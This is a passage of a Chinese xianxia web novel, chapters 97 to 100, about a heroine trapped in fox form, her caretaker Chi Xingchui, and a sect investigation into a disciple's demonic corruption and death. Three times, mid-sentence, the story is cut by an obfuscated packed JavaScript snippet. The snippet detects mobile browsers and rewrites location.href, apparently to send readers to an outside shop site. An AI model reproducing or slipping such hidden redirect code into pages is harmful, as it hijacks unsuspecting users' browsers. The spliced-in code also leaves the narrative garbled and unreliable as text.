童元宝迟疑了一下,“你知道的,因为梅承襄和连乔打赌,梅远山赔了很多很多钱,所以他手头不是很宽裕,给天门峰弟子们出去历练的经费都没了,因此周重啸提出要付钱入宗门需有人担保的时候,梅远山同意了。” “但我觉得,周重啸化魔这件事,和梅远山应该没有关系。”童元宝道,“金珏驻守在百丈河多年,最恨那些妖族魔辈,尤其是魔人,神出鬼没心性歹毒,那一带的人受尽了侵扰,作为乾元剑宗围剿魔人小队队长的道侣,梅远山不会也不应当啊!” “金珏常年抗魔,又不是梅远山。”迟星垂道,“到底他做没做,有没有和魔族有勾结,还有待详查。” “那不管有没有勾结,他都要惨了。”童元宝道,“金珏收了消息从百丈河赶回来,听闻她都气炸了,她要是回来,梅远山少不了一顿打,他又打不过金珏。” 童元宝叹了一口气,“哎,这实力比道侣差太多也不好啊,一想到梅峰主要挨道侣揍,我就觉得恐怖。” 迟星垂没有接话,童元宝又问,“师兄,连乔怎么样了?” 洗完了澡,把一身灰洗得干干净净,把自己洗得香喷喷的连乔此时正在用巾子擦水,听到自己的名字,她“啊啊”两声回应。 童元宝:“哦吼,中气十足,尖叫声如打雷,看来已经恢复好了。” “嘿嘿。”小胖子忽然一笑,“师兄我现在陪师父在灵枢院,晚一点我回来撸狐狸。” 连乔:“啊啊啊……” 做什么,她又不是灵宠,岂是别人想摸就能摸的? 连乔猛地一翻,踏在迟星垂胳膊上,示意他去拒绝童元宝这荒唐的提议。 迟星垂捞住连乔,将她放到桌上,连乔在桌上来回踩,蹦得轰隆轰隆的,有力得快要将桌子踩塌了。 “快回绝他”一到口就成了“啊啊啊……” 迟星垂没忍住,“呵……” “连乔需要休息。”迟星垂望着连乔那幽怨又尴尬的脸,扬了扬嘴角,“这两天她累坏了,让她好好休息一下吧。” 连乔这才停止乱窜,乖巧地躺在桌子上。 好吧,这样一看,迟星垂还像个人。 97.第 97 章 “现在你高兴了,那丫头不仅没有事,还气得让我的人暴露了,现在不仅是乾元剑宗乱成一锅粥,就连无极剑宗也派人过来了。”李长淮在房间里来回踱步,气得胸口一鼓一鼓的,枯瘦的脸看上去更干巴了。 “当年魔人侵袭,有许多人就这样暴毙身亡,现在又出现无故坠魔事故,你让我怎么办?”李长淮冷笑,“你那丫头实在是疯狗,不费吹灰之力将周重啸气得心魔丛生!” 那一端沉默着不说话。 “你不说话?”李长淮大笑,连说三个“好”字,“让我帮忙的时候忙不迭过来,现在出事了就装死?” 那一端却是冷哼一声。 李长淮:“你这是什么意思?” “事情做成这样,难不成你还想说你没有功劳也有苦劳?” 玉非缘的声音清清淡淡,但是能听出他话中的隐隐的怒意,“我有没有说过,不要动到那丫头的身体,如果我没记错,你这次对她下了死手,差一点让她连渣都不剩?” “她出言不逊又自大狂妄,若是真死了那也是她自找的!”李长淮“嗤”笑一声,“怎么,现在又心疼了,让我出手的时候怎么没见你拦着。” “我说过,必须让她完好无损回来,我说的话,你是一点都没有听进去?” “那种情况,不杀了她她还不知道会出什么奇招气人,周重啸已经暴怒了,万一再暴走控制不住,到时候你和我都跑不掉!” “那是你跑不掉。”玉非缘说话慢慢地,仍旧听不出喜怒。 李长淮气得要跳脚,“你什么意思,我们俩是一条绳上的蚂蚱,我帮你做事你也得帮我擦屁股!” “我只是让你把那丫头赶走,可没让你伤她。”玉非缘声音淡淡的,“且我与你说过多次,你非要一意孤行,既然你不听劝,也别怪我不帮你处理后事。” “你莫不是个疯子?!” 李长淮气得心都要跳出来了,“你他么是不是搞不定她娘露不霜现在想搞女儿?什么不动她,在乾元剑宗就算我杀了她那也轮不到你管。” 那一端已经断了,李长淮试了几次也没有连上,已经彻底失联了。 “什么东西!” 李长淮骂了一句,嘴瘾是过完了,但事情仍旧要处理。他深呼吸一口气,在思索给周重啸的那颗药到底为什么不稳定。 还得试试。 他又亮起通讯符,那一端传来一个清脆的声音,“师父。” “白祺,为师这里有件事,你过来处理一下。” 白祺那端沉默了一下,“师父,这么晚了……” “嗯,让你过来你就过来。”李长淮又笑了笑,“不用怕,师父又不吃人。” 结束完通讯符,李长淮靠坐在椅子上,周重啸现在在天枢院,虽然他现在能咬死了不说话,但天枢院里面的几个老头有点本事,说不定就从他嘴里撬出来些什么。 周重啸,留不下了。 周重啸在漆黑的牢房中打坐,他尝试了很久,仍旧没有将体内暴躁的灵力压下来,急得在牢中乱走,巡逻的弟子提醒他安静些,他破口大骂,“关你什么事,再看把你眼珠子挖下来!” 他无比狂躁,天枢院的弟子们不堪其扰,将他又关回到镜盒中,镜盒能隔绝声音,至少能让他们清静一点。 “我总觉得这周重啸奇奇怪怪的。”七颜一拍镜盒,使劲捏了捏眉头,方才被他骂得头疼。 “都坠魔了能不奇怪吗?”九幽将镜盒推走,完了又猛地将镜盒一锤,里面的人更激动了,上蹿下跳,不过外面听不见声音,也算安宁。 “沾染魔气会让性情大变?” “是啊。”九幽舒一口气,“被魔气控制,就像是被寄生,让魔气去控制自己的思想和意识。许多人以为自己自控强,引魔气入体来短暂让自己得以突破,实际上都是为以后魔毒腐蚀心性埋下隐患。” “据我所知,除天生魔体外,引魔入体的人,最后都会癫狂,无一例外。” 七颜:“那周重啸也必死无疑了。” “也不知道他是什么时候将魔气藏在身体内的,说不定三年前就藏了。”九幽道,“不过他掩藏得很好,没有被人察觉。” 正说着,外面“砰”一声,像是有什么东西撞在门上。 七颜抬头:“谁啊?” 大晚上的,守夜人就他们两个,谁这么晚还过来。 九幽道:“你在这里守着镜盒,我出去看看。” 七颜盘腿坐在镜盒旁边,很快外面安静下来,又与之前一模一样,但是九幽没有回音。 门被推开,“吱呀”一声,奇怪的是,没有人。 “九幽吗?”七颜起身探头。 “师姐。” 看到来人,七颜很是奇怪,“白祺?你来这里做什么?” “我听说宗门大比时出现了魔人,我父母被魔人所害,所以想过来看看,是不是有真的魔人。”白祺的脸色看上去很不好,说起话来脸部肌肉一抽一抽的,看上去十分僵硬。 七颜:“你怎么了?” “没什么,我、我只是心情不好。”白祺叹了一口气,“师姐,要是真的有魔人,你们可千万别放过他们。” 七颜道:“放心吧,天枢院这么多长老和大能在,不会让以前魔人侵袭修真界的惨案发生的。” “天色很晚了,你早点休息,明日你还有早课呢。” 白祺点点头,提着灯笼离开了。 七颜自顾自地念叨,“她怎么也奇奇怪怪的。” 九幽很快就回来,七颜问他有没有发生什么,九幽说一只死鸟撞在屋檐上死了,如此一夜相安无事。 云中峰内。 迟星垂寝房中。 他的寝房异常干净整洁,旁边还有个客室,但是看上去没有住过人,童元宝说虞南子和大师兄都爱安静,所以素日里除了师门几人,几乎没有外人造访。 连乔是这么多年来第一个在这里来回跑的活的外人。 准确来说,不是人,是一只狐狸。 连乔打了一个哈欠,迟星垂正在替她修剪毛发,白日里被周重啸劈了几次,虽然现在洗干净了,但是尾巴秃了一半,上面的毛有焦黑的也有焦黄的,迟星垂不仅有洁癖,还有强迫症,洗干净了不算,看到焦发就要修剪掉。 桌子上放了一个软垫,连乔趴在软垫上,任由他操作。 迟星垂撸狐狸的手法很专业,连乔发现自己变成动物后也很享受被顺毛撸,躺在垫子上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963894|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懒洋洋的,有一下没一下地扫着雪白一捧的尾巴。 “别乱动。”迟星垂按住她的尾巴,扫到了尾尖,连乔猛地一抖,天灵盖都麻了,立刻窜起来,转过头朝他龇牙。 “好了好了,只有这一条了。”迟星垂拍拍她脑袋,“我小心一点,剪完这里,你就可以休息了。” 不是,是这个原因吗? 动物的触觉和人的不同,这尾巴异常敏感,被迟星垂碰到后又麻又酥又痒,非常不舒服,罪魁祸首还不知道自己犯了什么错,还以为是她不耐烦。 连乔继续瞪他,别扭地把尾巴缩回肚子下面,不让迟星垂碰。 迟星垂摊手,过会儿他端来一盘新鲜的灵果,剥开其中一颗。 连乔眼睛立刻睁圆了。 奇怪,变成狐形身体后,连习惯都和野兽差不多,看见好吃的好喝的就两眼放光,高兴的神情根本掩盖不住。 迟星垂往她嘴里扔了一颗拨好的荔枝。 “乖,还剩最后一点。”趁着这功夫,迟星垂捞起连乔的尾巴,但是动作很轻,连乔刚要炸毛,迟星垂又往她嘴里塞一块果脯。 连乔嚼吧嚼吧嘴里的果干,舒展四肢。 好吧,暂时放过你。 迟星垂帮她修剪好身上的焦毛,又给她喂一颗灵丹,原本光秃秃的尾巴又慢慢蓬松起来,她恢复如常了。 连乔原本要说的是“我现在本体的模样恢复了,你知道我什么时候恢复人形吗?”但是话到嘴边又成了嘶哑的“啊啊”。 迟星垂:“……” 连乔:“啊啊……” 霁月清风的公子哥叹了一口气,双手一摊,“听不懂。” 连乔只能放弃挣扎,在垫子上蹬了一下腿,四仰八叉地睡觉,末了又觉得冷,在垫子上翻了几下,窜到一个暖和的角落里窝起来睡觉。 她问系统,好在和系统对话还正常,“你知道我什么时候能变成人吗?” 变成狐狸很难受,我还是怀念当人时候为非作歹的时候,而不是像现在这样被迟星垂随意摆弄像个二傻子。 系统:“呸,下头男。” 连乔停顿一秒,“要不你现在从被原男女主气到那癫狂的状态中稍微恢复一下,事情已经过去半天了,现在是我怎么恢复人形比较重要吧?” 系统回过神来,“啊,我也不清楚怎么恢复。” “原主以前出现过这种情况吗?” “这个……根据原书上来看,应该是没有的,你暂且等等吧,反正现在没有生命危险,还有美男做你的贴身保镖尽心尽力地照顾你爱护你。” 连乔:“谁稀罕?” 系统又好像翻了个白眼,“那要不把你的手从迟星垂腹肌上拿下来再说话呢?” 连乔“呸”了一声,这次是真的“呸”。 她翻了个身,夜晚天气特别冷,云中峰更冷,兽形的她没有灵力护体,更感觉寒彻心骨,不知道怎么就钻到了迟星垂怀里,毕竟那里暖和。 “你别这样,驱热驱光是动物的本能,我现在这是本能趋势,你不要把我说得那么猥琐行不行?” 系统:“那麻烦你在偷看迟星垂的时候擦一下嘴角的口水。” 连乔:“闭嘴吧你!” 98.第 98 章 夜间山中清凉,连乔睡得迷糊,但是越睡越冷,就像躺到了冰窟里。 忽然有一团火炉过来,像一个小太阳一样,浑身散着光和热。连乔“咕噜噜”滚过去,贴着小太阳刚刚好,又香又暖。 迟星垂过来给连乔盖被子,变成本体的她和原身一模一样,睡姿异常狂傲不羁,四仰八叉,被子不知道什么时候整个翻下去。 云中峰山高林深昼夜温差大,连乔变成本体后没有灵力护体,知冷暖惧寒热,冷得蜷缩成一团。 迟星垂给她盖好被子,连乔随床大小滚,滚到他怀里。 迟星垂抱起狐狸,狐爪勾住他衣服,无论如何也丢不下来。 连乔极少有如此安静的时候。 她随随便便一句话都能将人气得要晕过去,所以在大比上能激得周重啸当场爆发,偏偏她自己癫而不自知,有时候就……迟星垂想了一下,嗯,挺可爱的。 迟星垂没有扔开她,小狐狸睡得很香,抱着他不肯撒手,迟星垂单手托着她去了书桌,灯光如豆,他坐在桌前看书。 吴息无声无息入窗,看到大公子怀里抱着一只狐狸还愣了一下,但仅仅愣了一小会儿,很快恢复过来。 他刚要说话,迟星垂比了个“嘘”的姿势。 吴息了然,心想大公子洁身自好这么多年,终于是铁树开了花灵魂开了窍,好歹算是怜香惜玉起来,钟山凋败了这么多年终于后继有人了啊。 吴息老泪纵横,迟星垂看他在那自顾自发呆,微微皱眉。 “啊对……”吴息连忙凑过去,压低了声音在迟星垂面前耳语。 闻言,迟星垂眉头皱得更深。 他拿出笔,在纸上写了两个字,“当真?” “千真万确。”吴息也写,“周重啸确实是被梅远山招进来的,不过么,貌似他与这件事无关,他甚至都不清楚事情的来龙去脉。” “金珏已经从百丈河赶回来了,她大发雷霆,现在梅远山也在被关禁闭。”吴息添了一点墨,“金珏也开始调查此事,恐怕后期我需要低调些了。” 迟星垂点头,写道,“万事小心。” 末了又问,“除梅远山外,周重啸可接触过其他人?” “没有。”吴息重复一遍,“确实没有,我查过近一年来他的行踪,除了梅远山,他没有和乾元剑宗的其他任何人来往过。” “非乾元剑宗的呢?”迟星垂写,“如果二人联系,未必私下见面,通过万机,亦或者第三人传话都有可能。” “再去查一下他近一年来在岭山谷和他人的往来记录。”顿笔,迟星垂继续添一句,“低调,切勿打草惊蛇。” “是。” 交代完几句重要的话,吴息悄无声息地退下了,临了又偷偷抬眼,望着软骨头一样攀附在迟星垂身上的漂亮狐狸。 被吴息打量了数次的连乔还不知道发生了什么事,她翻了个身,小短腿挂在迟星垂胳膊上。 迟星垂:“……” 连乔迷迷糊糊睁眼,看到迟星垂那张无语的脸,她嘀咕一句“这才是对的”,迟星垂就是这一张臭脸,白日里那种温柔才是见鬼的。 不过这是做梦吗? 迟星垂居然在抱着她欸? 唉,果然是单身太久了,做这么离谱的春梦。 正常来说,只要她沾迟星垂一点点衣角,迟星垂都会伸手,一巴掌拍掉她的手,然后再把衣角撕掉,甚至是恨不得连衣服都扔了。 不过既然都做梦了,为什么还这么保守呢? 连乔闭上眼睛,狐爪按在他胸口。 迟星垂:“?” 他浑身僵硬,震惊望向连乔上下滑行的手。 迟星垂没有在第一时间丢开她,并且没有给她一个大嘴巴子——啊,果然做梦。 还是单身太久了啊…… 迟星垂望着半睡半醒又鬼迷日眼的连乔,十分震惊她居然能够如此坦然地对他做这种事。 连乔不知道迟星垂在震惊,她睡得异常舒适,系统还在问,“摸的开心吗?” 连乔:“我在做梦呢。” “死丫头真是好梦。”系统似乎在苍蝇搓手,“摸够了吗?摸够了给我摸摸。” 连乔吐出一个字,“滚。” 她被系统这癫狂的发言给震惊到,这系统不对劲吧? 就这一激灵,让她猛地惊醒,再睁眼,系统安安静静的,并没有说什么出格的话,更没有做什么出格的事。 唯一出格的事就是……她的手紧紧贴在迟星垂胸口,似乎摸得不亦乐乎,脸也贴在他胸口,他那干净整洁不染尘埃的衣服此时不那么平整,就在她方才贴过的位置,留了一小块水渍。 想也不用想就知道那是什么? 难道真的是口水? 迟星垂低着头望那一片污浊,脸色非常难看,连乔伸出狐爪捂住眼睛——如果我说我不是故意的,你信吗? 好在已经答应南道照顾好连乔,迟星垂并没有发脾气将她甩出去,也没有阴着打她给她来点内伤什么的。 迟星垂叹了一口气,他取出一块干净的手巾,帮连乔擦了一下脸,随后将她放在软榻上,脱下外衣往房间里去了。 那里是浴室。 连乔张了张爪子,企图从爪缝里看到些什么——其实,她也没有很想看到什么。 就是有点好奇,万一能看到呢? 唉算了,毕竟那是一本正经的迟星垂,真玩猥琐的把他惹火了,他将她随意往这乾元剑宗一丢,那她的敌人随时可能抓着她出阴招,到时候就是真的有内伤了! 连乔继续趴在软榻上睡觉。 可能是剑宗灵气充沛,现在她的精神状态非常好,隐隐感觉体内有灵力流动。等到她对灵力的控制真的恢复如初,应该就能变回人形吧? 变回人形后,迟星垂可能就不会对她这么好了。 连乔发现,大多数人都爱毛茸茸,迟星垂也不例外,自己变成毛茸茸后,迟星垂的耐心多了不知道多少倍,还给她洗澡修剪尾巴——虽然这更可能是因为他的强迫症和洁癖在作祟。 但不可否认的是她确实见到了迟星垂不为人知的温柔的一面。 变回人之后,别说能睡客房的软塌了,估计待在云中峰迟星垂都会嫌她人吵话多。 连乔舒展四肢,安心享受这来之不易的时光,迷迷糊糊又睡过去,半梦半醒之间感觉到迟星垂开门出来。 男子重新沐浴过,换上了新的衣物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977262|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,长发没有像平日里那样束起,黑瀑一般散在身后。他半敞着衣服,锁骨和脖颈还微微泛红,沾染了浴室的水汽。 连乔:“……” 不是吧,迟星垂…… 这么大方…… 这样不经意的一幕让连乔心中嘀咕,果然美人在骨,他这什么也没做就足见风流,相比较男颜榜综合榜排名前几的那位便宜爹玉非缘,迟星垂这才能被称之为人间绝色。 迟星垂就势坐到连乔面前,将她擦脸的手巾收起来,连乔捂住脸,因为觉得丢人嘴角抽搐。 “怕不是面瘫了?”迟星垂拎着她来回翻看一遍,“怎么好好的流口水?” 连乔龇牙,露出两排尖尖的牙齿。 迟星垂轻轻拍她的头,连乔伸手去挡他的手,一仰脖子,又看到迟星垂敞开的宽松衣领以及半露不露的胸口。 啊,迟星垂你平日里没人的时候是这样吗?其实没人是可以这样的,但是我也算是个人,只是现在不像个人,你怎么能在我面前欲说还休半遮半掩? 你怕不是故意的吧? 迟星垂似乎没注意到,仍旧面无表情,一派霁月清风的模样。 连乔:…… 到底是她龌龊了…… “麻烦让一下。”坐在桌前,迟星垂望着那瘫成一团的棉球,示意自己要用桌子。连乔懒得动,晃晃小手,示意他换个地方。 连乔在这里躺久了,骨头和软榻都连在一起,一动不动,迟星垂约莫是忍了一下,单手抱起她要将她放到床上,伸手的时候,连乔闻到他袖间的冷香。 很淡,很轻,像茉莉,也像腊梅。 这应该是属于他独有的体香,只有非常近才能闻到。 近,嗯太近了,近到除了闻到香味,还能贴在他胸口,又看到那若隐若现的腹肌。 连乔顿住,狐狸眼清明又灵动,盯着那完美的曲线和白皙的肌肤一动不动。 这……这谁顶得住? 有什么感觉直冲大脑,还裹挟着温热粘腻的液体顺着鼻腔顺流而下,连乔在第一时间捂住了鼻子,但是来不及了…… 有两滴红色液体落到迟星垂胸口,铺在那雪白干净的衣料上,像盛开两朵猩红的花。 连乔下意识仰头,这是她对流鼻血条件性的反应。 迟星垂似乎也发现不对,他低下头来,望着胸口染上的一片血渍,眉头轻轻皱起,随后“啧”了一声。 连乔倒吸一口凉气。 完了。 看了不该看的东西还淌鼻血,甚至是流到正主的身上…… 她什么时候丢过这人? 原主这什么破身体,看个腹肌就流鼻血了? 她闭上了眼,等待那患有严重洁癖的迟大公子给她扔出去。 但想象中的失重感觉没有来。 她心有余悸,睁开眼,发现迟星垂正在盯着她看。 连乔觉得自己的脸烧起来,好在自己浑身都有毛,就算羞红了脸也没有人能发现。 罪魁祸首浑然不知发生了什么,他拎起连乔,修长的两指捏住她下颌,来回看了一圈也没发现什么。 “你吃什么了,吃得太好了么,上火了?” 连乔:…… 99.第 99 章 “嗑嗑……” 外面传来敲门声。 “迟师兄是我。”是白花惊,她的声音很紧张,“师兄,快开门啊。” 一瞬间,迟星垂又恢复那副清正整洁的模样,没有衣衫不整,也没有欲说还休,身上的污渍被他施了清洁术清理掉,连头发都一丝不苟地梳好束起来。 连乔后知后觉地想:既然都有清洁术了,方才为什么要去洗澡? 白花惊进门口深深喘了两口粗气,“师兄,不、不好了。” 得到消息她连夜赶回来,连口水都来不及喝,一进来就看到连乔仰头看她,白花惊迷茫了一下,看看她,又看看迟星垂。 “师兄,你给连乔吃什么好东西了?”白花惊戳戳她鼻子,“她上火了,都流鼻血了!” 迟星垂伸手施了个清洁术,连乔的脸又变得白白净净。 连乔不好意思地摸了一下耳朵,往前拱了拱,示意白花惊继续说。 白花惊一拍桌子,“师兄不好了,周重啸死了!” “方才我听我爹说的,周重啸魔气失控,爆体而亡,现在消息还在封锁中,天枢院在彻查,我担心你们,提前过来看看。” 白花惊问连乔:“你没什么事吧?可有不舒服?心率可失常?” 说着她对着连乔上下摸一遍,没有察觉到任何异常,这才放心,“你没事。” 不久前迟星垂已经检查过,其他人也查过,都没什么问题,连乔合理怀疑白花惊是在故意趁机占她便宜。 不过白花惊对灵气的辨认极为精准,她来检查一遍没有问题,又给自己的安全上了一层保险。 “周重啸是什么时候死的?” “一炷香之前。”白花惊道,“七颜和九幽两位高手一直在盯着他,没想到还是出了这种事。” “期间有人去过天枢阁吗?” “没有。”白花惊道,“就算有也没有人靠近过关押周重啸的天牢,更别提接触到镜盒了。” 白花惊学着她爹的模样,背着手在屋里走,边走边说,“天枢院查过,这中间没有异常,大概率是周重啸控制不住自己的身体,让魔气占了上风,所以弄死了自己。” 说完又恢复她自己平时的状态,“天呐,周重啸一死,岂不是所有线索都断了,到底是谁引他入魔的?难道真的是梅远山吗?” 不管到底是不是梅远山,他都脱不了干系,尤其是在死无对证的情况下,就算他没有问题,因为召周重啸入学院,也要被问责。 白花惊离开后,连乔顺了顺自己被白花惊摸翻的毛,坐到桌前,企图拿一支笔,但是爪子不灵活,她索性伸出手蘸墨在纸上写。 “梅远山要背锅。” “嗯?” “听说是周重啸自己找上梅远山的,是他给梅远山抛的橄榄枝,从一开始幕后的那个人就盯上他,让他做替罪羊。” “梅远山不怎么聪明,但是也不至于那么傻,敢这么明显地留这么大把柄,他就是在给人做挡箭牌。” 连乔忽然问,“迟星垂,你那么早发现我不是连翘,是因为你发现我所作所为和上一世有明显区别吗?” 忽然提到这个问题,迟星垂微微皱眉,坦然道,“是,起先我以为你与我一样是重活一世,因为你在极力避免前世的轨迹,但是后来我发现,你和前世又有细微的差别。” “所以你一直用重心蛊盯着我?” “我非礼勿视非礼勿听。”迟星垂举手,“不该知道的我不会多探究。” 这一点连乔承认,迟星垂不是那种猥琐的人,但这还是让她膈应,她伸手写,“那之前在我第一次渡劫噩梦里,捞我起来的人是你?” 那一次? 看着连乔沉入水底,一次又一次地爬出来,再重复溺亡的过程……迟星垂顿了顿,“是。” “鉴于你救我一命的份上,这件事暂时不提,但一码归一码,这不代表我能不计前嫌。”连乔停下手,习惯性舔了舔爪子,忽然想起来手上有墨水,“啊呸。” 迟星垂:“啧……” 连乔龇牙,拍桌子,迟星垂不动声色用巾子盖住她的小手,不怎么愉快地替她擦干净狐爪,拿一只特制小笔,这支笔刚好够连乔拿上。 “现在我不与你计较这件事。”连乔用笔写,“你上一世有没有发现,乾元剑宗有谁有问题,或者是……谁和魔气有关?” “没有。” 迟星垂道,“我只发现你不明不白坠魔,之后子午谷全然覆没,再之后我也染了魔气。” 连乔:“你是因为对我心怀怨恨,所以练功岔气走火入魔,之后灭了子午谷。” ? 迟星垂却轻飘飘看她一眼,“没有。” “没有什么?” “没有杀你。”迟星垂道,“我在乾元剑宗听到子午谷出事的消息,第一时间赶过去,但已经来不及了,你……原来的连翘可能结交了某些人,也可能得罪了某些她得罪不起的角色,子午谷莫名被魔气笼罩。” 连乔顿了一下。 果然。 在墨江她看到的前世画面中的那个黑衣人,不是迟星垂。 “那前世,你有没有发现,有谁和玉非缘有关系?” “玉谷主?”迟星垂回想一番,“他很低调,极少有关于他的消息。” “你怀疑他?” “对。”连乔道,“在我入剑宗前,他找过我,说我粗鲁蛮横,不适合直接来剑宗,需要回去好好修心。” 提及此事,连乔亮出锋利的爪牙,将厚厚的一叠纸戳通了。 她把爪子拔.出来继续写,“我哪里粗鲁哪里无礼?” 迟星垂有点违心,“……没有,你很温柔。” 连乔:“你懂我,谢谢。” 迟星垂:“不客气。” “其实我怎么样并不需要他定义,他的语气让我很不舒服,入剑宗是原主的心愿,当然,我也要入剑宗来修行,所以即使玉非缘软硬兼施,我也没有让步,当机立断拒绝了他。” 连乔继续写,“然后,很快我遇到了邵灵,险胜,随后碰到周重啸。” “接连两个人都是此次大比夺冠热门选手,还有一人与魔气有关,我不认为这是巧合。” 迟星垂垂眸,“你认为,玉非缘和周重啸有关系?” “对,而且乾元剑宗有第三人存在,在他们之间搭起桥梁。”连乔想了想,“为了不打草惊蛇,可以明查梅远山,暗地里看看玉非缘和哪些人有来往。” 迟星垂召来吴影,让他盯着玉非缘,并调出近期玉非缘的行踪轨迹。 连乔盯着吴影看了半天,提笔写,“我是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13992908|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在哪里见过他?” “那是他哥哥吴息。”迟星垂道,“吴息与他是双生子。” 相比较吴息,吴影的话少很多,他应下任务,向迟星垂一点头,便悄无声息翻窗离开了。 次日,迟星垂带着连乔去天枢院,期间有多人对她轮流检查,也检查过几轮,均没有发现问题,便让迟星垂再带她回去。 回到云中峰,虞南子也在,童元宝和邵吴兴也在。 “师兄你回来了,凌阿回来了吗?” “方才我在天枢院碰到他,他与成英轩在一起,元峰主和严峰主在调查周重啸暴毙之事。” 童元宝叨叨,“真是男大留不住,一天天就知道围着成英轩。” 自己家的事还没有处理完,就知道帮别人,本来应该是凌阿的活,现在又要平摊到邵吴兴和他的头上。 重色轻友的家伙。 “元宝,不要这样说师兄。”虞南子笑了笑,声音温柔,“元常月主要负责这件事,她那边现在忙不过来,你师兄去帮忙也是应该的。” “我这几天都会在剑宗,如果你们的活做不完,我也可以帮。” 童元宝头摇得和拨浪鼓似的,“不用师父,你本来已经很忙了,我只是发牢骚而已,明天的排查我和吴兴分一分就可以了,啊还有师兄……” 童元宝指着进门的迟星垂,“大师兄也在,我们三个人够了。” “师父。”迟星垂恭敬道。 “星垂。”虞南子还注意到趴在迟星垂臂弯的狐狸,他俯下身来,“啊,还有连乔,你们也可以请连乔帮忙。” 虞南子很温和,语调也温柔,和他说话,就像是沐浴在云中峰的月光里,无言又平静。 连乔眨眨眼睛。 这次意外引来修真界哗然一片,明日无极剑宗、蓬莱岛、泰丰门等大宗门都会有人来访,宗门这边自有人接待,但是以防万一,宗主请虞南子把关排查来访者,防止有人浑水摸鱼。 连乔抬头望着虞南子,男子一袭月白长袍,面容清俊,和她说话时俯下身来与她平视,一点架子也没有。 方才童元宝他们抱怨,他也是这种不气不恼的语调和他说话。 这师父也太温柔了叭。 虞南子望向连乔,连乔眨眨眼睛,他忽然笑了。 迟星垂问:“师父,您笑什么?” “这狐狸雪白可爱,目光清透有神,和我一位故人很像。” “故人?”童元宝凑过去看连乔,十分惊讶,“和狐狸的眼睛很像,师父你故人是什么妖怪吗?” 连乔:“……” 她在无语的同时,还看到那清俊无比,一直如同雪山月光的温柔师父,腮部轻轻抽动一下。 虞南子笑了笑,“那倒没有,我的故人是剑修,还是位有名的天才。” “有多天才?”童元宝比了个很高的手势,“比杨无溟还天才?” 虞南子笑了一声,“都是天才,但是生于不同时间而已。” 迟星垂目光扫过连乔,问,“师父,不知您说的故人是哪位?” “他已经亡故很多年了。”虞南子望向远处山峦,山风摇曳,连带着远处星星点点的灯火也在不停抖动。 “不过你们应该听说过他。”虞南子道,“无极剑宗的前任宗主,连云天。” 100.第 100 章 那位拥有无数精彩传闻,却极少有人见识过他的真面目,最后在飞渡成仙过程中身死道消的无极剑宗前任宗主连云天? 他和师父是旧相识? 乾元剑宗崛起之前,剑宗唯无极剑宗为首,这也不过是百十年前的事,不过是他们入道时间晚,听到连云天这个名字,恍然觉得是许久之前的故事。 “这么说,那位无极剑宗宗主,本人像只狐狸?”童元宝莫名加一句,“狐狸精啊,那得多好看?” “确实,连道友是远近闻名的美男子。”虞南子开玩笑道,“如果他尚在世,或许会在男颜榜与综合榜排名前首。” 领了任务后,童元宝和邵吴兴将工作分好,两个人准备回寝房休息。 邵吴兴恋恋不舍,他望了连乔又望,终于开口,“师兄,连乔还好么?” 迟星垂掀起眼皮看他一眼,“狐尾受了些轻伤,用药后已经痊愈了。” 邵吴兴伸手,“我看看。” 迟星垂转过手,让邵吴兴扑了个空,“连乔是个女孩子,你盯着她看不合适。” ? 邵吴兴:“不,她现在只是一只狐狸。” 这是你对迟来风说的,怎么到我这里就变成了她是姑娘家了? 你不是说心不脏看什么都不脏吗? 我只是想看看连乔尾巴上的伤,我没有别的意思。 而且她还趴在你手上,你俩都贴上了,你怎么不说她是姑娘家? 邵吴兴不知道什么回答,他眨眨眼,九尺男儿颇有些手足无措又委屈巴巴的模样。 “师兄,我不是那个意思。”邵吴兴道,“我是说她是一只可爱小狐狸,我可以摸一下她吗?” 又白又胖的毛茸茸,和他的玉雪一样,非常可爱,让人想摸。 “不能。”迟星垂皱眉,“你要不要听听你在说什么?” 邵吴兴看迟星垂不肯放连乔,转而把心思放到连乔这边,“或许,她想和玉雪玩也不一定呢?” 玉雪是一只白麒麟,天阶灵兽,和邵吴兴一起长大,最擅长近攻,平时只有巴掌大小,像一只毛茸茸手办。 玉雪脖子上挂了一个铃铛,朝连乔挥手时铃铛也“叮铃铃”清脆响,连乔眨了眨眼,好奇心作祟想下去看看。 她想跳过去,但是一躬身发现自己动不了,迟星垂的食指和中指夹住她的前腿,禁锢得非常紧,跑也跑不开腔,挣也挣不掉。 迟星垂示意,“你看,她不想。” 不啊,我想。 我第一次见麒麟这种传说中的瑞兽,我想看看啊。 连乔后腿猛地一蹬,伸直了就被迟星垂握住,这下整个身体都动弹不得。 怒目,龇牙,连乔猫一样对迟星垂哈气。 